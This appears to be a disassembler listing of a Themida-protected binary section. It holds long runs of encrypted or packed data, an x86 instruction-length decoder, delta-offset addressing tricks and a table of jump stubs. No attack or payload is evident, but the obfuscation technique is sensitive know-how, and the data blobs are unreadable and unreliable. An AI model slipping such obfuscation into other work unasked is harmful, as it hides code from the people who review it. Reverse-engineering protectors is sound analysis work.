dd 9E337C35h, 499CBF66h, 3D8D478Eh, 298D1AC1h, 0DD2794DCh
dd 52A97C35h, 60F8289h, 0E40F1044h, 0C75EB25Fh, 7C209326h
dd 0C03C157Eh, 7B3826CAh, 0DD2AF83Ah, 63CA7C35h, 7C7EABA8h
dd 69B21A33h, 0DE8BDEB3h, 88337C35h, 884A8F8Ah, 36692AD6h
dd 0CD419DA8h, 6BBE8533h, 71231661h, 44C0CB3Ah, 8B3316E5h
dd 0EE337FDDh, 0B46D5C35h, 9F47F56Bh, 0F977FD31h, 0EE336731h
dd 0B4653A35h, 92ECCF85h, 1307E45Ah, 7C4F753h, 77337C27h
dd 0F27349A7h, 3A76A1DBh, 506B8603h, 56B3307Ch, 7B3839DBh
dd 0DD0AF83Ah, 5E827C35h, 3AE4E1B8h, 49B27A3Eh, 0E7C9B8F4h
dd 0EE337D8Dh, 1DD08335h, 0B8DB2935h, 0FD337C35h, 676EBF68h
dd 0F6375859h, 0AD375871h, 98337C35h, 0E060BF60h, 2FD9FD9Bh
dd 36620353h, 0CD419AA8h, 48C1A33h, 23B6F1EFh, 0B4356C5Fh
dd 0DCCB582h, 6637C5Fh, 77337C36h, 0E3F02415h, 0D91738BCh
dd 0EA1738B4h, 77337C2Dh, 0CEF02C75h, 397A7AA6h, 0EE20F83Ah
dd 7CDB7C35h, 91337C35h, 0BA85E11Dh, 231D2315h, 2D62612Ah
dd 0B4F3776Ch, 0DD3322B1h, 0EE3D9435h, 0A33D7C35h, 0A2FF021Fh
dd 0AC6DDB2h, 850E1659h, 0FA698CBEh, 0B07EABA8h, 8C331633h
dd 0EE337FDDh, 0B46A5C35h, 9F7FF56Ch, 0F977FD31h, 0EE336131h
dd 0B4623D35h, 6E230FCFh, 8BD56B1h, 78894227h, 0CF0C61B3h
dd 0BB337C36h, 2FD5C353h, 623C9FCAh, 77337C32h, 0BB32F13Ah
dd 9ECB7C35h, 6637C5Fh, 77337C36h, 0E3F02415h, 0D91738BCh
dd 0EA1738B4h, 77337C21h, 0F1F02C75h, 0DD32F43Ah, 63CB7C35h
dd 6741B388h, 78BEF133h, 65356C43h, 64782048h, 5C1EF906h
dd 74187A3Eh, 363195F4h, 0CD419DA8h, 6BBE8533h, 71231661h
dd 44C0CB3Ah, 8B3316E5h, 83337FDDh, 0A4F305E9h, 6AC08Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 2C1F16C3h, 0AC22A18Ah, 0F87B46Eh, 6AD0B7h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F50E28C3h
dd 8B666E8Eh, 48F0FC3h, 66000000h, 8BBC6DBEh, 0CE9C0h
dd 46600000h, 565107D7h, 0A7860BA8h, 13E9CA18h, 0B6000000h
dd 0DA8EE952h, 6167CBCh, 287E6E96h, 4961BA91h, 0BD83C83Dh
dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h
dd 47AB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h
dd 0D1BD8358h, 60B29h, 53501774h, 47AB8h, 99858900h, 8D060B12h
dd 0DB0229Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0AD3C7ABBh, 0E9C05149h
dd 5, 0AE793F75h, 8DC08BB6h, 1078568Dh, 4D8D8906h, 57060B17h
dd 8E8h, 18874A00h, 8B8C29AAh, 0C7585A7Bh, 0B011985h, 743006h
dd 68C0F00h, 9000000h, 0B15B58Dh, 985C706h, 60B10h, 8B000000h
dd 0B0DF985h, 5B5FF06h, 6A060B27h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82B1C352h
dd 0AE4D6EB7h, 2FBB6642h, 0C595FF8Dh, 6A060B0Ah, 0DD95FF00h
dd 8B060B32h, 506BEBC0h, 0BE598A54h, 0E6E775D8h, 355A26FEh
dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h, 0C4D0E24Fh
dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 22C0662Fh
dd 16A93595h, 0C08F4D89h, 2A7BDF75h, 76C428DBh, 433B4E11h
dd 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 0AFC5332Ch
dd 0E793845Ch, 2987D124h, 16BA9427h, 66E9EE64h, 60000002h
dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 60B0B01h, 7D18858Dh
dd 0D0FF060Eh, 0F558589h, 0FE8B060Bh, 680CEFC1h, 20060000h
dd 26A006Ah, 0D6857h, 95FF0001h, 60B0F55h, 32E9h, 4585C600h
dd 56060B28h, 0C530DF68h, 55B5FFA9h, 8D060B13h, 0E7D1885h
dd 89D0FF06h, 0B33A185h, 61858D06h, 50060B0Bh, 56A406Ah
dd 0A195FF56h, 61060B33h, 0C3h, 2 dup(0)
dd 0D48B5200h, 8428B60h, 79498589h, 428B0610h, 4185890Ch
dd 8B061079h, 85891042h, 6107945h, 797FB58Dh, 858D0610h
dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 107949B5h, 41858B06h
dd 83061079h, 107945BDh, 840F0006h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 49858908h, 8D061079h, 1079D0B5h
dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 10794985h, 4C206h
dd 7949858Bh, 8B0610h, 79498589h, 0CF0610h, 60000000h
dd 79A6B589h, 85890610h, 61079A2h, 43D858Dh, 408B060Bh
dd 0DF858944h, 8D061079h, 107A15B5h, 35858D06h, 0FF005B7Eh
dd 858B61D0h, 61079A6h, 0A29D8BC3h, 0F061079h, 33C43B7h
dd 785B8BD8h, 79A29D03h, 738B0610h, 0A2B50324h, 56061079h
dd 8B207B8Bh, 0BD031C73h, 61079A2h, 79A2B503h, 83FC0610h
dd 8B41FFC9h, 1079A69Dh, 3178B06h, 1079A295h, 4C78306h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 1079A285h, 0A6858906h, 8B061079h, 8BCE8BF0h
dd 0DFBD81C1h, 61079h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61079DFh
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0DFBD8100h
dd 61079h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 61079DFh, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 4D858DCFh
dd 89061079h, 0B088585h, 0E3858D06h, 89061079h, 0B131185h
dd 0AA858D06h, 89061079h, 0B027985h, 0ED8D8D06h, 0B006107Bh
dd 4D8D892Eh, 6A060B17h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 8938C351h, 3820F6Fh
dd 66000000h, 0C6BFF08Bh, 0C76D1720h, 0B011985h, 627006h
dd 9858900h, 0C7060B08h, 0B100985h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 24BDDACh, 7568618Bh, 2173CB81h, 0B5FF7678h, 60B0DA5h
dd 16799533h, 95FF060Bh, 60B0AC5h, 6AD88Bh, 32DD95FFh
dd 0C08B060Bh, 0B1D82AEBh, 0A537E61Eh, 32D9246Fh, 17C12D8Eh
dd 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h
dd 0AFC6F8Dh, 2129C9C2h, 13E8h, 0BB412800h, 22A4B94Dh
dd 37410C91h, 677D9F16h, 156BA231h, 56412FBAh, 52565904h
dd 0B54DDA81h, 5A5A3458h, 6071C181h, 0BD230000h, 60B33A9h
dd 68h, 5E92B200h, 1B25B529h, 48B060Bh, 0D68B6631h, 5CC3C081h
dd 0BA6639CFh, 0E881FFE1h, 4B4679DBh, 0CD9BD8Bh, 0F081060Bh
dd 6FC409E3h, 8E9h, 1244CE00h, 0F1923137h, 48F5039h, 850F31h
dd 66000000h, 0EE81D68Bh, 557816C8h, 813BF680h, 7816C4C6h
dd 0FA8B6655h, 0A040FE81h, 850FFFFFh, 0FFFFFFA6h, 14E8h
dd 10FCDD00h, 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh
dd 4ABF661Ah, 0C8E95A32h, 88000001h, 7 dup(88004188h)
dd 4188h, 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 1000000h, 14h dup(0)
dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0)
dd 0E9000000h, 353h, 0E855h, 815D0000h, 107EAEEDh, 85C76006h
dd 6107DFBh, 0
; ---------------------------------------------------------------------------
cmp word ptr [esi], 0A166h
jnz loc_593F7E
mov dword ptr [ebp+6107DFFh], 6
jmp loc_593FA2
; ---------------------------------------------------------------------------
loc_593F7E: ; CODE XREF: Themida_:00593F69j
lea eax, [ebp+6107E03h]
push eax
lea eax, [ebp+6107E53h]
push eax
push esi
push 0
call sub_593FB1
add esp, 10h
and eax, 0FFh
mov [ebp+6107DFFh], eax
loc_593FA2: ; CODE XREF: Themida_:00593F79j
popa
add esi, [ebp+6107DFFh]
mov eax, [ebp+6107DFBh]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_593FB1 proc near ; CODE XREF: Themida_:00593F8Fp
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_6107DF3 = dword ptr 6107DFBh
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_593FDE
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_593FEA
; ---------------------------------------------------------------------------
loc_593FDE: ; CODE XREF: sub_593FB1+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_593FEA: ; CODE XREF: sub_593FB1+28j
push ebx
push esi
push edi
loc_593FED: ; CODE XREF: sub_593FB1+91j
; sub_593FB1+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_594000: ; CODE XREF: sub_593FB1+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6107F65h
lea ebp, [ebp+6107DDBh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_59402D
inc cl
cmp cl, 0Bh
jb loc_594000
loc_59402D: ; CODE XREF: sub_593FB1+6Bj
cmp cl, 0Bh
jz loc_59408A
cmp al, 66h
jnz loc_59406B
cmp [ebp+var_5], 0
jnz loc_593FED
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_594063
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_593FED
; ---------------------------------------------------------------------------
loc_594063: ; CODE XREF: sub_593FB1+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_59406B: ; CODE XREF: sub_593FB1+87j
cmp al, 67h
jnz loc_593FED
cmp [ebp+var_6], 0
jnz loc_593FED
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_593FED
; ---------------------------------------------------------------------------
loc_59408A: ; CODE XREF: sub_593FB1+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5940B6
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5940BB
; ---------------------------------------------------------------------------
loc_5940B6: ; CODE XREF: sub_593FB1+E4j
movzx edi, al
shr edi, 1
loc_5940BB: ; CODE XREF: sub_593FB1+100j
push ebp
call $+5
pop ebp
sub ebp, 610801Dh
lea ebp, [ebp+6107CDBh]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_59423D
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_594181
dec ecx
jz loc_594164
dec ecx
jnz loc_5941D4
cmp [ebp+var_2], 0
jnz loc_5941D0
cmp [ebp+var_5], 0
jz loc_594143
mov byte ptr [ebp+arg_0+3], 2
loc_594143: ; CODE XREF: sub_593FB1+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 61080A9h
mov [ebp+arg_6107DF3], 1
pop ebp
jmp loc_5941D4
; ---------------------------------------------------------------------------
loc_594164: ; CODE XREF: sub_593FB1+16Dj
cmp [ebp+var_2], 0
jnz loc_5941AE
cmp [ebp+var_5], 0
jz loc_5941AE
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5941AE
; ---------------------------------------------------------------------------
loc_594181: ; CODE XREF: sub_593FB1+166j
cmp [ebp+var_2], 0
jnz loc_5941C7
cmp [ebp+var_5], 0
jz loc_5941B6
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5941AE
mov byte ptr [ebp+arg_0+3], cl
loc_5941AE: ; CODE XREF: sub_593FB1+1B7j
; sub_593FB1+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5941D4
; ---------------------------------------------------------------------------
loc_5941B6: ; CODE XREF: sub_593FB1+1DEj
cmp dl, 5
jnz loc_5941D4
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5941D4
; ---------------------------------------------------------------------------
loc_5941C7: ; CODE XREF: sub_593FB1+1D4j
cmp dl, 6
jnz loc_5941D4
loc_5941D0: ; CODE XREF: sub_593FB1+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5941D4: ; CODE XREF: sub_593FB1+174j
; sub_593FB1+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_594202
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5941E4: ; CODE XREF: sub_593FB1+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5941E4
mov esi, edx
loc_594202: ; CODE XREF: sub_593FB1+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_594237
cmp edi, 7Fh
ja loc_594237
test bl, 38h
jnz loc_594237
cmp [ebp+var_7], 0
jz loc_594231
movzx eax, [ebp+var_4]
jmp loc_594234
; ---------------------------------------------------------------------------
loc_594231: ; CODE XREF: sub_593FB1+271j
push 1
pop eax
loc_594234: ; CODE XREF: sub_593FB1+27Bj
mov [ebp+var_1], al
loc_594237: ; CODE XREF: sub_593FB1+255j
; sub_593FB1+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_59423D: ; CODE XREF: sub_593FB1+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_594268
dec eax
dec eax
jz loc_59425E
and bl, 7
add [ebp+var_1], bl
jmp loc_594270
; ---------------------------------------------------------------------------
loc_59425E: ; CODE XREF: sub_593FB1+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_59426D
; ---------------------------------------------------------------------------
loc_594268: ; CODE XREF: sub_593FB1+294j
mov al, [ebp+var_3]
add al, 4
loc_59426D: ; CODE XREF: sub_593FB1+2B2j
add [ebp+var_1], al
loc_594270: ; CODE XREF: sub_593FB1+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_594298
movzx ecx, [ebp+var_1]
inc ecx
loc_594283: ; CODE XREF: sub_593FB1+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_594283
loc_594298: ; CODE XREF: sub_593FB1+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_593FB1 endp
; ---------------------------------------------------------------------------
mov edx, eax
jmp short loc_5942D0
; ---------------------------------------------------------------------------
align 4
dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
dd 22E4A8D4h
; ---------------------------------------------------------------------------
loc_5942D0: ; CODE XREF: Themida_:005942A1j
jmp loc_594DC5
; ---------------------------------------------------------------------------
push 610833Bh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6108472h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6108573h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610860Ch
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 610870Eh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 61087F6h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 61088E1h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6108A90h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 6108BA3h
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 55h
dd 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh, 3EC774Eh, 0A61DC6F9h
dd 79445CBFh, 0C9F40DFAh, 9CABFD2Ah, 605DA647h, 4AE20EF3h
dd 0C5849F3Eh, 0BD5AC2B1h, 1DCFBB33h, 7A40C394h, 97ACF0CCh
dd 9BC12145h, 340EBD84h, 97A2F726h, 7B56A34Ch, 4C584597h
dd 0B5C7D771h, 77DFE358h, 6B2B1CFDh, 7B03EF9Bh, 261A603Ah
dd 8DB0C934h, 412BC539h, 71988837h, 2DEFB24h, 0C97310E4h
dd 5DFC446Bh, 3415B7BFh, 9D4FA340h, 0C9F22470h, 9CA0E35Eh
dd 8B6583E7h, 273C091Ah, 3C80BDC6h, 519BA0FCh, 416BC0DDh
dd 222D154Eh, 927E2693h, 460BCC46h, 0E5000009h, 4CB9BA91h
dd 3AEB0839h, 0E401D2EFh, 53BCA79Eh, 56ED7649h, 0A994EC0Fh
dd 79445D4Ah, 0CCFB0DFAh, 90ADF617h, 3AB2BE43h, 0C5849E4Eh
dd 0DE8A72C1h, 0A514F8D5h, 95A8F050h, 0A8F4A2B1h, 58254993h
dd 80BD9F19h, 17310C15h, 0F67EC238h, 3A60E696h, 0E70F9943h
dd 3A60E6E3h, 58CC1E64h, 3A60E62Ch, 0F7B15FA3h, 7EB02F6h
dd 41C62C35h, 2E000000h, 0E4760D6Fh, 20A4C85Ah, 0A7C3941Dh
dd 0A29FEA53h, 541F084h, 3143BD9Fh, 60CBC9BDh, 0CA645E3Ah
dd 6294E04Dh, 0E2C2B70h, 2D016579h, 0CDF98959h, 742C3A60h
dd 0C16A8379h, 0D1472C35h, 0A1000000h, 14F8D5DEh, 0FA605FA5h
dd 7BCFF20Bh, 0DB61E907h, 1EE2DF2Ah, 7649533Ah, 0ADA04E82h
dd 40FF6D58h, 0DCDF2105h, 52A22B2Ch, 9445CD7Bh, 39ADB683h
dd 0C3941A74h, 5C87B2C7h, 816B66B3h, 43370E14h, 5BBF869Ah
dd 3745A5ADh, 0A3B63E2Ch, 844260FEh, 0A3F9A5BEh, 45C9F40Dh
dd 3753DB01h, 0B83A60CEh, 68FC6E42h, 446D5F02h, 8FFB73FDh
dd 30733Dh, 0E914C63Ah, 56B7AC93h, 0C3F47342h, 7A8C6A72h
dd 80F3788h, 5AAC0000h, 17F063h, 0B6C52231h, 57AF589Bh
dd 61A8B68h, 569D243Fh, 81526DB7h, 31221F64h, 6EF5C0D4h
dd 9A597481h, 1773FB71h, 98C58499h, 0DADEB329h, 7A8F78FBh
dd 1C3E9D4Fh, 997BB056h, 0D6FC881Ch, 0F73C394h, 9A7AFD2Bh
dd 26E21EBDh, 81D18AFAh, 3E455767h, 9F458F2Ch, 2CEBE631h
dd 927B6E0Ch, 0D799B78Eh, 9FC6FE5Fh, 870B4FBDh, 6184DFAFh
dd 1FAE0A3Ah, 368A44E5h, 0BF6D2Ch, 0DE8B0000h, 0A514F8D5h
dd 549C605Fh, 0C3941B09h, 896A67B0h, 4A3E0B1Ch, 0A50F1580h
dd 0BF936752h, 6548F75Bh, 5B42F11h, 4D51FFD3h, 0AEC6142Fh
dd 426028ABh, 0E1BDA69Ch, 0A30D159Bh, 2C00645Bh, 89B8CF3Eh
dd 71603B4Eh, 40EEBC77h, 194F06AEh, 21C0446Dh, 32383D9Ch
dd 9F4DA128h, 7EDD2A6Eh, 5B2F197Dh, 0E7A8AF9h, 81307249h
dd 65E9D42Ch, 0AE9CD21h, 0AFB8879Dh, 8C6B3F32h, 0E0EC141h
dd 0AD000007h, 14F16259h, 0C2233001h, 0AC599AB7h, 1BF46F56h
dd 9E253E01h, 516CB457h, 211C6582h, 0F4C3D532h, 5875BE6Fh
dd 72FA769Bh, 0C5849816h, 0DEB22A99h, 8F78FBDAh, 709D4F7Ah
dd 79FA1425h, 0F8D5DE9Bh, 46798372h, 0ACF9A0A8h, 0BD31FE04h
dd 0C3941DC9h, 2C00645Eh, 1DDFAF37h, 8DEFC394h, 96C064F6h
dd 19BD849Bh, 7CA93B21h, 3333C329h, 0E98F7A91h, 23CD01F5h
dd 77ECD92Ah, 0CCB08D96h, 4E798F7Eh, 0FB801CA0h, 8E0CFD71h
dd 0B9814470h, 6D0125AEh, 0F95EB48Ch, 675h, 6A89C0D2h
dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 849BBDC9h
dd 0DD4332C5h, 1A6DD5DEh, 3675B2Fh, 0FE0EADBFh, 0AC28B662h
dd 63790DA1h, 0F4CEC394h, 82977690h, 51AC3B7h, 0EA4AAAE3h
dd 9AFEFB97h, 0C4802436h, 4BC39413h, 477E8677h, 81C569F3h
dd 6C39413h, 283013Ch, 1FBC8E08h, 745CF888h, 201D66CDh
dd 0EA04785Ch, 0C3D43DC8h, 7A936DF6h, 5732416Dh, 0Eh, 0F2CFD8C5h
dd 261CCA0Eh, 195C8h, 27A75000h, 17C3941Dh, 0E26CFE85h
dd 66EAE533h, 7C435B22h, 0CA9AB488h, 0BD849BB1h, 0FB2A300Ah
dd 85C165AEh, 0A3A7B63h, 63DAAEC6h, 55AD3A7Bh, 29C61D71h
dd 0E97BE1DCh, 0E37CC972h, 0E9794F22h, 3A7BAB9Dh, 9DEF2812h
dd 7B971761h, 0C82028C6h, 29BDAFB4h, 447085D8h, 0FBE26D55h
dd 6E8C6D08h, 57323E4h, 0C6D00000h, 6CBB548Fh, 1A69865Dh
dd 0CBD33C27h, 7ABE6FF4h, 3239985Bh, 65FEC1DBh, 954E7388h
dd 0C2112C78h, 7EE5D025h, 0B3D75F8Dh, 34C5849Ah, 0D5DEDF45h
dd 0D7C614F8h, 0C90DF1C0h, 7DE52E1Fh, 54381C2Bh, 0F41DA8EAh
dd 174496A3h, 0DC29FF3Dh, 1E391DE1h, 86A07669h, 7FFA13EDh
dd 7D73241h, 31000000h, 0C9C8h, 0D6F5000h, 0C85AE476h
dd 941D20A4h, 0AB41E7C3h, 0F2329B4Bh, 1B44E605h, 5E7B3F48h
dd 2838CC7Ah, 4ABD8408h, 0F482D315h, 64BF1470h, 98A79B3Ah
dd 0F7657CF6h, 64D00B7Fh, 88A69C3Ah, 0E5DC228Bh, 59AA5B81h
dd 0D16F76Ch, 502C4C30h, 0FE8D21CBh, 4F447456h, 0E334E10Bh
dd 97E00DD6h, 0C6D6D6BAh, 2A07AFBDh, 564E7F51h, 5824A0C4h
dd 57AB2E41h, 0A0F55AB9h, 49B6B195h, 60927C4Eh, 48B2DE2h
dd 0DE280000h, 84937CE7h, 3241AEB5h, 0D32BC41Fh, 829677ECh
dd 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h, 0EA094450h, 6DDE83Dh
dd 8BFF77F5h, 1CC5849Ah, 5FC837ADh, 24000001h, 1D76129Ah
dd 81F9C394h, 1DB7D35Bh, 0C238C394h, 0D6F3E24h, 0AB5AE476h
dd 31C5635Eh, 0BD849B31h, 0E716C43Eh, 48B5A792h, 5ABE023Fh
dd 0C9DACBACh, 0C92D1069h, 0FE06F745h, 11754C52h, 0FFBF69ADh
dd 0CA54869Dh, 7B6026A2h, 605FA73Ah, 0DDFB89Ch, 7B60ED99h
dd 2418623Ah, 0BFCC600Ah, 30446BE6h, 197D4C5Fh, 415441D3h
dd 2277D670h, 0D623CC17h, 4FE771FBh, 304AE63Bh, 45946D8Ch
dd 45253628h, 2B43C761h, 0CBD13C51h, 5C087CF4h, 5DF304Ah
dd 9ECCDFEBh, 6246BC1Bh, 0F1F16EF8h, 0DA96CB8Ah, 0AE8353FDh
dd 0BF4E414Dh, 413D8C5Bh, 9E74927Eh, 3A039h, 0DCEB3F00h
dd 0A29FE607h, 744554B1h, 0D9F83EEFh, 0A897ED1Ah, 6E50C4Bh
dd 0F710C3F2h, 0A74093AEh, 10FD6651h, 0E029CA07h, 95E0E408h
dd 9867C584h, 0F8D5DE20h, 6550A514h, 85C165F7h, 0AC3941Dh
dd 44321630h, 495A4342h, 0B865E77Ch, 48B25C6Dh, 3240F0A1h
dd 5188h, 33BD5400h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h
dd 9EE17621h, 5983F7BDh, 0FE6C5DACh, 0AE8CF86Ch, 0AA033A60h
dd 0A79B6F56h, 5CC2A543h, 3A60AE2Dh, 0F56E5BACh, 145E97Bh
dd 863A60AEh, 8EB5CDBCh, 0A39EED60h, 9AE00DDFh, 55F3D7BBh
dd 2F8EEh, 0D6DE7600h, 51A20BFFh, 0DF3C05BFh, 0A88C5D7Dh
dd 7C495A4Bh, 0F9D42188h, 5B728273h, 0F27593F7h, 9943D8A4h
dd 609A9E0Fh, 13D7F9FDh, 9A6E42CEh, 71FC88A6h, 0ABBD9F9Ah
dd 0A91D247Ah, 665CBB55h, 63325292h, 0BDE73A61h, 8B31D830h
dd 38182C35h, 0E4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
dd 0E64E5B4Ah, 0FED2A69Bh, 34D2369Ah, 60CB20A0h, 7A59A13Ah
dd 0E6D12796h, 0EFFE3012h, 0AB3A7E93h, 35C6B851h, 0B7912Ch
dd 0DE7F0000h, 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 9FAAFF67h
dd 69F3D72Bh, 1D3357DFh, 0DBB4C394h, 719FF3CEh, 1B5D60F6h
dd 8B9CC394h, 3F48A5BEh, 1E7EBE02h, 0B65FD705h, 74260D6h
dd 26762033h, 0A6A7CF1Dh, 27446D62h, 77FF09D3h, 30732813h
dd 0EE80AE94h, 10DAE53Fh, 281A6E86h, 0ED3073h, 1BE2C6FBh
dd 0B4F330Eh, 97ED1ADDh, 8BCF2973h, 391D67F6h, 69B0CD2Eh
dd 41060C8Ch
dd 1F1h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h
dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h
dd 0D913F87Bh, 84973155h, 51C7B6C5h, 78FBDADEh, 944F7A8Fh
dd 800D6F6Ch, 941D186Ch, 355BAFC3h, 23ACBC51h, 0E00A6E54h
dd 4F545D7Bh, 9D949620h, 193BC4B0h, 34B65000h, 0F09418AAh
dd 79C39438h, 5EA4132Eh, 207524B0h, 6697BD9Fh, 64582C11h
dd 81754DCAh, 60E121A1h, 21ACF43Ah, 34C1249Bh, 53210C03h
dd 80AE9BEAh, 35016F9Eh, 0CC5A2Ch, 0BDA20000h, 1DCFBB33h
dd 464EC394h, 0F847BB0Fh, 1D94F074h, 271BC394h, 0DF2825C3h
dd 55AF1EE2h, 34EE66Ah, 0BAC3941Bh, 66875C69h, 5C5C201Dh
dd 0BD313B40h, 4260D654h, 5402D129h, 0E2ACE848h, 40D7A618h
dd 51B51934h, 4C7D8C7Dh, 0BAA084F8h, 6DD73032h, 54A75644h
dd 93BD9165h, 129C4EB4h, 72B4EE9Ah, 0EF196130h, 2088907Dh
